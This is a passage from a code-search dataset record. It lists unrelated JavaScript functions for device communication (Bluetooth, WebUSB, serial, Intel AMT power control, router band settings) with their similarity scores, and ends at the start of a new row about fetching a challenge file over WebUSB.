\\\"Day2Watts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day2Watts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day2MWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day2MWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day3Watts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day3Watts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day3MWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day3MWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tdefault:\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t}\\r\\nconsole.log(respData)\\r\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", respData)\\r\\n\\t\\t\\tresponse.end()\\r\\n\\t\\t\\tbreak\\r\\n\\t\\tdefault:\\r\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", \\\"InvalidHubCmd\\\")\\r\\n\\t\\t\\tresponse.end()\\r\\n\\t\\t\\tvar respMsg = \\\"#### Invalid Command ####\\\"\\r\\n\\t\\t\\tvar respMsg = new Date() + \\\"\\\\n\\\\r#### Invalid Command from IP\\\" + deviceIP + \\\" ####\\\\n\\\\r\\\"\\r\\n\\t\\t\\tconsole.log(respMsg)\\r\\n\\t\\t\\tlogResponse(respMsg)\\r\\n\\t}\\r\\n}\",\n \"start() {\\n let constraints = {\\n video: {\\n facingMode: 'user',\\n height: { min: 360, ideal: 720, max: 1080 },\\n deviceId: localStorage.getItem('deviceId')\\n },\\n audio: true\\n };\\n\\n // navigator.mediaDevices.enumerateDevices()\\n // .then(dd=> { \\n // dd.map(device => {\\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\\n // constraints.video.deviceId = device.deviceId;\\n // }\\n // })\\n // }) \\n\\n // navigator.usb.requestDevice({filters:[]})\\n // .then(selectedDevice => {\\n // device = selectedDevice;\\n // console.log('selectedDevice', device, selectedDevice);\\n // return device.open(); // Begin a session.\\n // })\\n // .then(() => {\\n // console.log('daada', device.selectConfiguration);\\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\\n // .then(() => {\\n // console.log('daada', device.claimInterface);\\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\\n // .then(() => {\\n // console.log('daada', device.controlTransferOut);\\n // device.controlTransferOut({\\n // requestType: 'class',\\n // recipient: 'interface',\\n // request: 0x22,\\n // value: 0x01,\\n // index: 0x02})}) // Ready to receive data\\n // .then(() => {\\n // console.log('dedde', device);\\n // device.transferIn(5, 64)\\n // }) // Waiting for 64 bytes of data from endpoint #5.\\n // .then(result => {\\n // let decoder = new TextDecoder();\\n // console.log('decoder', decoder, result);\\n // console.log('Received: ' + decoder.decode(result.data));\\n // })\\n // .catch(error => { console.log('this.error', error); });\\n console.log('constraints', constraints)\\n\\n setTimeout(() => {\\n // constraints.video.deviceId = localStorage.getItem('deviceId');\\n navigator.mediaDevices\\n .getUserMedia(constraints)\\n .then((stream) => {\\n this.stream = stream;\\n this.emit('stream', stream);\\n })\\n .catch((err) => {\\n if (err instanceof DOMException) {\\n alert('Cannot open webcam and/or microphone');\\n } else {\\n console.log(err);\\n }\\n });\\n }, 3000)\\n\\n return this;\\n }\",\n \"function connectviaBT() {\\r\\n\\t// initialize bluetooth and setup an event listener\\r\\n\\t//todo: refactor name mWebSocket_InitAsync\\r\\n\\tdocument.getElementById( \\\"idStatus\\\").innerHTML=\\\"Connecting via BT\\\";\\r\\n\\t//returns data from BT as Uint8Array [1..20]\\r\\n\\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\\r\\n\\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\\r\\n\\t.then(connectGATT) //todo:@FC please explain what is happening here\\r\\n\\t.then(_ => {\\r\\n\\t\\tconsole.log('Evaluating signal of interest...')\\r\\n\\t\\treturn gattCharacteristic.readValue()\\t//receiving data from BT - Uint8Array [1..20]\\r\\n\\t})\\r\\n\\t.catch(error => {\\r\\n\\t\\tconsole.log('Waiting to start reading: ' + error)\\r\\n\\t})\\r\\n}\",\n \"function performAdvancedPowerActionResponse(stack, name, responses, status) {\\n const dev = stack.dev;\\n const action = dev.powerAction;\\n delete dev.powerAction;\\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\\n if (status != 200) return;\\n if ((responses['AMT_BootSettingData'] == null) || (responses['AMT_BootSettingData'].response == null)) return;\\n var bootSettingData = responses['AMT_BootSettingData'].response;\\n\\n // Clean up parameters\\n bootSettingData['ConfigurationDataReset'] = false;\\n delete bootSettingData['WinREBootEnabled'];\\n delete bootSettingData['UEFILocalPBABootEnabled'];\\n delete bootSettingData['UEFIHTTPSBootEnabled'];\\n delete bootSettingData['SecureBootControlEnabled'];\\n delete bootSettingData['BootguardStatus'];\\n delete bootSettingData['OptionsCleared'];\\n delete bootSettingData['BIOSLastStatus'];\\n delete bootSettingData['UefiBootParametersArray'];\\n delete bootSettingData['RPEEnabled'];\\n delete bootSettingData['RSEPassword']\\n\\n // Ready boot parameters\\n bootSettingData['BIOSSetup'] = ((action >= 11) && (action <= 14));\\n bootSettingData['UseSOL'] = ((action >= 13) && (action <= 14));\\n if ((action == 11) || (action == 13)) { dev.powerAction = 2; } // Power on\\n if ((action == 12) || (action == 14)) { dev.powerAction = 10; } // Reset\\n\\n // Set boot parameters\\n dev.amtstack.Put('AMT_BootSettingData', bootSettingData, function (stack, name, response, status, tag) {\\n const dev = stack.dev;\\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\\n // Set boot config\\n dev.amtstack.SetBootConfigRole(1, function (stack, name, response, status, tag) {\\n const dev = stack.dev;\\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\\n // Set boot order\\n dev.amtstack.CIM_BootConfigSetting_ChangeBootOrder(null, function (stack, name, response, status) {\\n const dev = stack.dev;\\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\\n // Perform power action\\n try { dev.amtstack.RequestPowerStateChange(dev.powerAction, performPowerActionResponse); } catch (ex) { }\\n }, 0, 1);\\n }, 0, 1);\\n }, 0, 1);\\n }\",\n \"function SendPortSync() {\\n}\",\n \"function webRtcSendOffer(clientName, offerValue) {\\r\\n\\tif (typeof thisPeersName != \\\"string\\\") {\\r\\n\\t\\tconsole.log(\\\"Please set peer name before calling this function\\\");\\r\\n\\t\\treturn;\\r\\n\\t}\\r\\n\\t\\r\\n var xhttp = new XMLHttpRequest();\\r\\n\\txhttp.onreadystatechange = function() {\\r\\n\\t\\tif (xhttp.readyState == 4 && xhttp.status == 200) {\\r\\n \\r\\n //see if there is a client asking to connect\\r\\n if (typeof xhttp.responseText == \\\"string\\\" && xhttp.responseText.length > 0) {\\r\\n ;\\r\\n }\\r\\n \\r\\n\\t\\t}\\r\\n\\t};\\r\\n var full = location.protocol+'//'+location.hostname+(location.port ? ':'+location.port: ''); \\r\\n \\r\\n\\t//xhttp.open(\\\"GET\\\", \\\"http://\\\" + window.location.host + \\\"/ioInterface?command=getOtsValues\\\", true);\\r\\n var message = {messageType: 'offer', offer: offerValue};\\r\\n var url = full + \\\"/webrtc?command=writeMessage&clientName=\\\" + thisPeersName + \\\"&destinationName=\\\" + clientName + \\\"&message=\\\" + btoa(JSON.stringify(message));\\r\\n \\r\\n //console.log(url.length, url);\\r\\n xhttp.open(\\\"GET\\\", url, true);\\r\\n\\txhttp.send();\\t \\r\\n}\",\n \"sendMakeBetShan2(_chipbet) {\\n cc.NGWlog(\\\"Vua dat cuoc =\\\" + _chipbet);\\n var data = {\\n evt: \\\"bm\\\",\\n M: _chipbet\\n };\\n this.sendDataGame(JSON.stringify(data));\\n }\",\n \"function IoTHubGetDeviceInfo(deviceId, iothubname) {\\n console.log(\\\"Getting Device Info : \\\" + deviceId);\\n $('#IoTHub_Busy_Indicator').css('display', 'flex');\\n $.ajax({\\n type: \\\"GET\\\",\\n url: '/home/IoTHubGetDeviceInfo',\\n data: { deviceId: deviceId },\\n success: function (response) {\\n $('#deviceConnectionState').html(response.connectionState);\\n\\n if (response.connectionState == \\\"Disconnected\\\") {\\n $('#deviceConnectionState').css(\\\"color\\\", 'red');\\n }\\n else {\\n $('#deviceConnectionState').css(\\\"color\\\", 'blue');\\n }\\n $('#deviceModelId').html(response.deviceModelId);\\n $('#deviceConnectionString').html(\\\"HostName=\\\" + iothubname + \\\";DeviceId=\\\" + response.deviceId + \\\";SharedAccessKey=\\\" + response.symmetricKey);\\n $('#deviceKey').html(response.symmetricKey);\\n\\n DisableButton($('#btnDeviceTwin'), false);\\n\\n if (response.deviceModelId != null && response.deviceModelId.length > 0) {\\n DisableButton($('#btnDeviceModelIdCopy'), false);\\n }\\n else\\n {\\n DisableButton($('#btnDeviceModelIdCopy'), true);\\n }\\n\\n if (response.symmetricKey.length > 0) {\\n DisableButton($('#btnDeviceConnectionStringCopy'), false);\\n DisableButton($('#btnDeviceKeyCopy'), false);\\n }\\n else {\\n DisableButton($('#btnDeviceConnectionStringCopy'), true);\\n DisableButton($('#btnDeviceKeyCopy'), true);\\n }\\n\\n //$('#btnDeviceModelIdCopy').prop('disabled', true);\\n return true;\\n },\\n error: function (jqXHR) {\\n // clear all fields\\n IoTHubModalClear();\\n alert(\\\" Status: \\\" + jqXHR.status + \\\" \\\" + jqXHR.responseText);\\n return false;\\n }\\n });\\n $('#IoTHub_Busy_Indicator').hide();\\n\\n}\",\n \"function callAPI(req,res,handleResponse){\\n var host = 'www.blueworkslive.com';\\n var username = 'xxxx';\\n var password = 'yyyy';\\n var path = '/api/Auth';\\n var headers = {\\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\\n };\\n var options = {\\n host: host,\\n path: path,\\n method: 'GET',\\n headers: headers\\n };\\n var bwlResData = {};\\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\\n var bwlRequest = https.request(options, function(bwlResponse) {\\n\\tconsole.log(\\\"BwlApiCall: Response status=\\\"+bwlResponse.statusCode);\\n\\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\\n\\tbwlResData.headers = bwlResponse.headers;\\n\\tvar bufferData = [];\\n\\tbwlResponse.on('data', function(data) {\\n\\t bufferData.push(data);\\n console.info('BwlApiCall: Response data received');\\n\\t});\\n\\tbwlResponse.on('end', function() {\\n console.info('BwlApiCall: completed, calling callback');\\n\\t bwlResData.data = Buffer.concat(bufferData);\\n\\t handleResponse(req, res, bwlResData);\\n });\\n });\\n/* if ((reqData.method == \\\"post\\\" || reqData.method == \\\"put\\\") && reqData.senddata) {\\n console.log(reqData.method+' sending data: '+reqData.senddata);\\n bwlRequest.write(reqData.senddata);\\n } */\\n bwlRequest.end();\\n bwlRequest.on('error', function(e){\\n console.error('BwlApiCall: REQUEST-ERROR '+e);\\n });\\n}\",\n \"function sendConvertRAIDType(cardchar) {\\n\\t//collect data from web UI\\n\\tvar NewRAIDType = document.getElementById(\\\"RAIDType\\\"+cardchar).selectedIndex - 1;\\n\\tvar GUID = $(\\\"#GUID\\\"+cardchar).html();\\n\\n\\t//store the command which is in progress\\n\\t$(\\\"#cardProgCmd\\\"+cardchar).html(JS_CONVERT_RAID_TYPE_REQ);\\n\\n\\t//console.log(\\\"Convert GUID = \\\"+GUID);\\n\\n\\t//disable \\\"Convert\\\" button\\n\\t$(\\\"#confirmConvertRAIDType\\\"+cardchar).prop(\\\"disabled\\\", true);\\n\\n\\t//send command\\n\\tConvertRAIDType(GUID, NewRAIDType);\\n}\",\n \"async function blxSendBinblock (data, fname, syncflag, mem_addr) {\\n let txlen_total = data.length\\n let tx_pos = 0\\n const time0 = Date.now() - 1000\\n let tw_old = time0\\n let tw_new // Working Time fuer Fortschritt\\n let sblk_len = (max_ble_blocklen - 2) & 0xFFFC // Initial MAX Size Block, but Multi of 4\\n\\n if (data.length > 1000) { // Mehr als 1k Daten UND File: -> FAST\\n\\n if(fname === undefined){\\n // Might bee too fast for Download to CPU Memory, set to slow with .cf 15 or greater!!!\\n if(con_memfast_speed < 15)\\n terminalPrint(\\\"*** WARNING: Memory Connection Speed: \\\" + con_memfast_speed ) \\n const os = con_fast_speed // temporaer mit MEMORY Speed\\n con_fast_speed = con_memfast_speed\\n await blxConnectionFast()\\n con_fast_speed = os\\n }else{\\n await blxConnectionFast()\\n } \\n if (blxErrMsg) return\\n // console.log(\\\"Fast OK\\\");\\n }\\n if(fname!== undefined) await blxDeviceCmd('P' + (syncflag ? '!' : '') + ':' + fname, 5000) // P wie PUT\\n else {\\n {\\n let wadr = mem_addr\\n let wsize = txlen_total\\n const sector_size = 4096 // Fix fuer nrF52\\n // Sektoren in einzeln Loeschen, da langsam\\n while(wsize>0){\\n await blxDeviceCmd('K:' + wadr + ' ' + 1 , 5000) \\n if (blxErrMsg) return\\n wadr+=sector_size\\n wsize-=sector_size\\n }\\n }\\n await blxDeviceCmd('I:' + mem_addr, 5000) // I wie Internal\\n }\\n if (blxErrMsg) return\\n\\n try {\\n for (;;) {\\n let blen = txlen_total // Blocklen\\n if (blen > sblk_len ) blen = sblk_len\\n const bdata = new Uint8Array(blen + 2)\\n bdata[0] = blen\\n bdata[1] = BB_BLE_BINBLK_IN // Binary Data\\n // Aufgabe: data[tx_pos] an bdata[2] kopieren\\n const datablock = data.subarray(tx_pos, tx_pos + blen)\\n bdata.set(datablock, 2) // Copies datablock into bdata\\n\\n await NUS_data_chara_write.writeValue(bdata.buffer)\\n\\n // console.log(bdata);\\n txlen_total -= blen\\n tx_pos += blen\\n if (!txlen_total) {\\n const dtime = Date.now() - time0\\n terminalPrint('Transfer OK (' + dtime / 1000 + ' sec, ' + ((data.length / dtime * 1000).toFixed(0)) + ' Bytes/sec)')\\n break\\n }\\n tw_new = Date.now()\\n if (tw_new - tw_old > 1000) { // Alle Sekunde Fortschritt\\n tw_old = tw_new\\n terminalPrint(((tx_pos * 100) / data.length).toFixed(0) + '% / ' + tx_pos + ' Bytes')\\n }\\n }\\n } catch (error) {\\n if (full_connected_flag === false) blxErrMsg = 'ERROR: Connection lost'\\n else blxErrMsg = 'ERROR: Transfer ' + error\\n return\\n }\\n\\n await blxDeviceCmd('L', 5000) // Close\\n\\n if (blxErrMsg) return\\n if (data.length > 1000) { // Mehr als 1k Daten: -> Wieder SLOW\\n await blxConnectionSlow()\\n }\\n }\",\n \"function processData(buffer) {\\n console.log(\\\"Status: \\\"+status);\\n console.log('Read message: \\\"' + buffer + '\\\"');\\n if (buffer.toString() == 'Ok!' && status == 0 && type !=1) {\\n //Emepzamos el envio\\n rqMsg = '';\\n\\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\\n rqMsg += data[hexInd];\\n pxInd += 4;\\n hexInd++;\\n }\\n\\n if (pxInd >= w * h) status++; \\n\\n const arr = new Uint16Array(2);\\n\\n buffIndCalc = (rqMsg.length + 12) / 2;\\n const buffInd = Buffer.alloc(2);\\n buffInd.writeUInt16LE(buffIndCalc);\\n\\n dSizeCalc += buffIndCalc;\\n\\n const dSize = Buffer.alloc(3);\\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\\n\\n\\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\\n console.log(\\\"Buffer to send1: \\\" + bufferToSend.toString('hex'));\\n\\n\\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: L\\\");\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 0 && type == 1) {\\n //Emepzamos el envio pantalla a color\\n rqMsg = '';\\n\\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\\n rqMsg += data[hexInd];\\n pxInd += 2; //cada pixel son 2 bits, por eso para cada hex tenemos avanzar 2 pixeles.\\n hexInd++;\\n }\\n if (pxInd >= w * h) status++;\\n\\n const arr = new Uint16Array(2);\\n\\n buffIndCalc = (rqMsg.length + 12) / 2;\\n const buffInd = Buffer.alloc(2);\\n buffInd.writeUInt16LE(buffIndCalc);\\n\\n dSizeCalc += buffIndCalc;\\n\\n const dSize = Buffer.alloc(3);\\n dSize.writeUInt16LE(dSizeCalc, 0, 3);\\n\\n\\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\\n console.log(\\\"Buffer to send info: dSizeCalc\\\"+dSizeCalc+\\\" buffIndCalc: \\\"+buffIndCalc+\\\" pxInd: \\\"+pxInd);\\n console.log(\\\"Buffer to send2: \\\" + bufferToSend.toString('hex'));\\n\\n\\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: L\\\");\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 1 && type != 1) {\\n //Hacemos el Show\\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: S\\\");\\n });\\n status = 4;\\n console.log(\\\"Desconectamos....\\\");\\n clearTimeout(timeout);\\n screenDisconect(false);\\n return response.send({\\n message: 'Success at updating the device: ' + macaddress,\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 1 && type == 1) {\\n //Hacemos el Next\\n\\n pxInd =0;\\n hexInd = 0;\\n\\n epdCharacteristic.write(Buffer.from('N', 'ascii'), function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: N\\\"); \\n });\\n status = 2;\\n } else if (buffer.toString() == 'Ok!' && status == 2 && type == 1) {\\n //Hacemos el Load del Next\\n //let dataNext = req.body.dataNext;\\n //Emepzamos el envio\\n rqMsg = '';\\n\\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\\n rqMsg += dataNext[hexInd];\\n pxInd += 4; //en caso de rojo, cada pixel es un bit.\\n hexInd++;\\n }\\n if (pxInd >= w * h) status = 3;\\n\\n const arr = new Uint16Array(2);\\n\\n buffIndCalc = (rqMsg.length + 12) / 2;\\n const buffInd = Buffer.alloc(2);\\n buffInd.writeUInt16LE(buffIndCalc);\\n\\n dSizeCalc += buffIndCalc;\\n\\n const dSize = Buffer.alloc(3);\\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\\n\\n\\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\\n console.log(\\\"N_Buffer to send3: \\\" + bufferToSend.toString('hex'));\\n\\n\\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: L\\\");\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 3 && type == 1) {\\n console.log(\\\"Finalizamos...\\\");\\n //Hacemos el Show\\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: S\\\");\\n });\\n status = 4;\\n console.log(\\\"Desconectamos....\\\");\\n clearTimeout(timeout);\\n screenDisconect(false);\\n return response.send({\\n message: 'Success at updating the device: ' + macaddress,\\n });\\n }\\n trytoread();\\n }\",\n \"function setDeviceEnabledBand() {\\n\\tconsole.log('info: setDeviceEnabledBand() is called.');\\n\\n\\t// Get csrf_token\\n\\tvar api = '/';\\n\\tvar url = 'http://' + document.apiform.address.value + api;\\n\\tupdateMessage(url, '', 'Connecting...', '');\\n\\n\\tvar xhr = new XMLHttpRequest();\\n\\txhr.open('GET', url, false);\\n\\txhr.withCredentials = true;\\n\\txhr.onerror = function(e) {\\n\\t\\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\\n\\t};\\n\\txhr.send(null);\\n\\n\\tif (xhr.status === 200) {\\n\\t\\tvar str = xhr.responseText;\\n\\t\\tvar csrf_token = str.match(//i);\\n\\t\\tcsrf_token = csrf_token[1];\\n\\t\\tif (csrf_token != null) {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Success to get a token: ' + csrf_token, '');\\n\\t\\t} else {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Fail to get the token.', '');\\n\\t\\t\\treturn -1;\\n\\t\\t}\\n\\n\\t\\t// Login\\n\\t\\tapi = '/api/user/login';\\n\\t\\turl = 'http://' + document.apiform.address.value + api;\\n\\t\\tupdateMessage(url, '', 'Connecting...', '');\\n\\n\\t\\txhr.open('POST', url, false);\\n\\t\\txhr.onerror = function(e) {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\\n\\t\\t};\\n\\n\\t\\t// Generate credential\\n\\t\\tvar username = 'admin';\\n\\t\\tvar password = document.apiform.password.value;\\n\\t\\tvar password_hash = encryptSHA256(username + encryptSHA256(password) + csrf_token);\\n\\n\\t\\tvar login_params = '';\\n\\t\\tlogin_params += '\\\\r';\\n\\t\\tlogin_params += '\\\\r';\\n\\t\\tlogin_params += '' + username + ' \\\\r';\\n\\t\\tlogin_params += '' + password_hash + ' \\\\r';\\n\\t\\tlogin_params += '4 \\\\r';\\n\\t\\tlogin_params += ' \\\\r';\\n\\t\\tconsole.log(login_params);\\n\\n\\t\\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\\n\\t\\txhr.setRequestHeader('__RequestVerificationToken', csrf_token);\\n\\t\\txhr.send(login_params);\\n\\n\\t\\t// Login Result\\n\\t\\tif (xhr.status === 200) {\\n\\t\\t\\t\\n\\t\\t\\tvar error_code = xhr.responseText.match(/([0-9]+)<\\\\/code>/i);\\n\\t\\t\\tif (error_code == null) {\\n\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Login Successful!', xhr.responseText);\\n\\n\\t\\t\\t\\t// Set LTE Bands\\n\\t\\t\\t\\tapi = '/api/net/net-mode';\\n\\t\\t\\t\\turl = 'http://' + document.apiform.address.value + api;\\n\\t\\t\\t\\tupdateMessage(url, '', 'Connecting...', '')\\n\\t\\t\\t\\ttoken = xhr.getResponseHeader('__RequestVerificationTokenOne');\\n\\t\\t\\t\\txhr.open('POST', url, true);\\n\\t\\t\\t\\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\\n\\t\\t\\t\\txhr.setRequestHeader('__RequestVerificationToken', token);\\n\\t\\t\\t\\txhr.onload = function(e) {\\n\\t\\t\\t\\t\\terror_code = xhr.responseText.match(/([0-9]+)<\\\\/code>/i);\\n\\t\\t\\t\\t\\tconsole.log(error_code);\\n\\t\\t\\t\\t\\tif (error_code == null) {\\n\\t\\t\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Change Successful!', xhr.responseText);\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t};\\n\\t\\t\\t\\txhr.onerror = function(e) {\\n\\t\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Check Parameters.', '')\\n\\t\\t\\t\\t};\\n\\t\\t\\t\\txhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=\\\"UTF-8\\\"');\\n\\t\\t\\t\\tconsole.log(document.apiform.reqparams.value);\\n\\t\\t\\t\\txhr.send(document.apiform.reqparams.value);\\n\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t} else {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', xhr.responseText);\\n\\t\\t}\\n\\n\\t} else {\\n\\t\\tupdateMessage(url, xhr.statusText, 'Error: Check the address or your browser status (Cross-Origin Resource Sharing).', '')\\n\\t}\\n}\",\n \"async send() {\\n const onComplete = this.props.navigation.state.params.onComplete;\\n try {\\n let done = await this.props.wire.send();\\n\\n if (!done) {\\n return;\\n }\\n\\n if (onComplete) onComplete();\\n this.props.navigation.goBack();\\n } catch (e) {\\n if (!e || e.message !== 'E_CANCELLED') {\\n console.error('Wire/send()', e);\\n\\n Alert.alert(\\n 'There was a problem sending wire',\\n (e && e.message) || 'Unknown internal error',\\n [{ text: 'OK' }],\\n { cancelable: false }\\n );\\n }\\n }\\n }\",\n \"function onOpen() {\\n console.log('Port Open');\\n console.log(`Baud Rate: ${port.options.baudRate}`);\\n const outString = String.fromCharCode(output);\\n console.log(`Sent:\\\\t\\\\t${outString}`);\\n port.write(outString);\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6560741","0.6358267","0.63325894","0.61360186","0.6115113","0.60801035","0.6074475","0.60720617","0.6020907","0.58643204","0.5797482","0.57846606","0.57151884","0.57029116","0.56599176","0.5598955","0.55791366","0.55470836","0.55214137","0.54890126","0.54794246","0.5467407","0.5458962","0.54161745","0.5398611","0.5372667","0.53533864","0.5348324","0.532022","0.5315319","0.5274399","0.52686507","0.52545553","0.52516514","0.5248442","0.5238125","0.52163774","0.521211","0.5209181","0.51974756","0.5196469","0.51837546","0.5177954","0.516178","0.51512545","0.5147174","0.5141254","0.5138159","0.5130048","0.5121737","0.51207095","0.51155424","0.5093415","0.50916004","0.5079893","0.507947","0.5044861","0.50287235","0.50232357","0.5014572","0.5011383","0.50094104","0.50059235","0.49870503","0.49651325","0.49646312","0.4957968","0.49397355","0.49355248","0.4933031","0.49305695","0.49214342","0.49206194","0.49155226","0.4906333","0.49052852","0.49001572","0.4897377","0.48950967","0.48870608","0.48804173","0.4879315","0.4852489","0.48491997","0.4846404","0.48336947","0.48326552","0.48210114","0.48195332","0.48153195","0.4812433","0.48043644","0.4793943","0.47933307","0.4783341","0.47805634","0.47763786","0.47715887","0.47614968","0.47608984","0.47510663"],"string":"[\n \"0.6560741\",\n \"0.6358267\",\n \"0.63325894\",\n \"0.61360186\",\n \"0.6115113\",\n \"0.60801035\",\n \"0.6074475\",\n \"0.60720617\",\n \"0.6020907\",\n \"0.58643204\",\n \"0.5797482\",\n \"0.57846606\",\n \"0.57151884\",\n \"0.57029116\",\n \"0.56599176\",\n \"0.5598955\",\n \"0.55791366\",\n \"0.55470836\",\n \"0.55214137\",\n \"0.54890126\",\n \"0.54794246\",\n \"0.5467407\",\n \"0.5458962\",\n \"0.54161745\",\n \"0.5398611\",\n \"0.5372667\",\n \"0.53533864\",\n \"0.5348324\",\n \"0.532022\",\n \"0.5315319\",\n \"0.5274399\",\n \"0.52686507\",\n \"0.52545553\",\n \"0.52516514\",\n \"0.5248442\",\n \"0.5238125\",\n \"0.52163774\",\n \"0.521211\",\n \"0.5209181\",\n \"0.51974756\",\n \"0.5196469\",\n \"0.51837546\",\n \"0.5177954\",\n \"0.516178\",\n \"0.51512545\",\n \"0.5147174\",\n \"0.5141254\",\n \"0.5138159\",\n \"0.5130048\",\n \"0.5121737\",\n \"0.51207095\",\n \"0.51155424\",\n \"0.5093415\",\n \"0.50916004\",\n \"0.5079893\",\n \"0.507947\",\n \"0.5044861\",\n \"0.50287235\",\n \"0.50232357\",\n \"0.5014572\",\n \"0.5011383\",\n \"0.50094104\",\n \"0.50059235\",\n \"0.49870503\",\n \"0.49651325\",\n \"0.49646312\",\n \"0.4957968\",\n \"0.49397355\",\n \"0.49355248\",\n \"0.4933031\",\n \"0.49305695\",\n \"0.49214342\",\n \"0.49206194\",\n \"0.49155226\",\n \"0.4906333\",\n \"0.49052852\",\n \"0.49001572\",\n \"0.4897377\",\n \"0.48950967\",\n \"0.48870608\",\n \"0.48804173\",\n \"0.4879315\",\n \"0.4852489\",\n \"0.48491997\",\n \"0.4846404\",\n \"0.48336947\",\n \"0.48326552\",\n \"0.48210114\",\n \"0.48195332\",\n \"0.48153195\",\n \"0.4812433\",\n \"0.48043644\",\n \"0.4793943\",\n \"0.47933307\",\n \"0.4783341\",\n \"0.47805634\",\n \"0.47763786\",\n \"0.47715887\",\n \"0.47614968\",\n \"0.47608984\",\n \"0.47510663\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":17,"cells":{"query":{"kind":"string","value":"Call WebUSB API to get challenge.bin from device"},"document":{"kind":"string","value":"function getChallenge () {\n\n //Fake data\n var randomData = [];\n\n\n var bytes = new Uint8Array(4);\n for (var i=4; i--; ) {\n let longRandomNumber = Math.floor(Math.random() * 1000000000);\n bytes[i] = longRandomNumber & (255);\n longRandomNumber = longRandomNumber >> 8\n }\n randomData.push(bytes);\n console.log(randomData);\n var blob = new Blob(randomData);\n blob[\"lastModifiedDate\"] = \"\";\n blob[\"name\"] = \"challenge.bin\";\n var fakeF = blob;\n console.log(fakeF);\n return fakeF;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["async function RequestUSBDevice() { \n await navigator.usb.requestDevice({ filters: [{}] });\n}","async getRequestDeviceInfo() {\n const outputReportID = 0x01;\n const subcommand = [0x02];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n\n return new Promise((resolve) => {\n const onDeviceInfo = ({ detail: deviceInfo }) => {\n this.removeEventListener('deviceinfo', 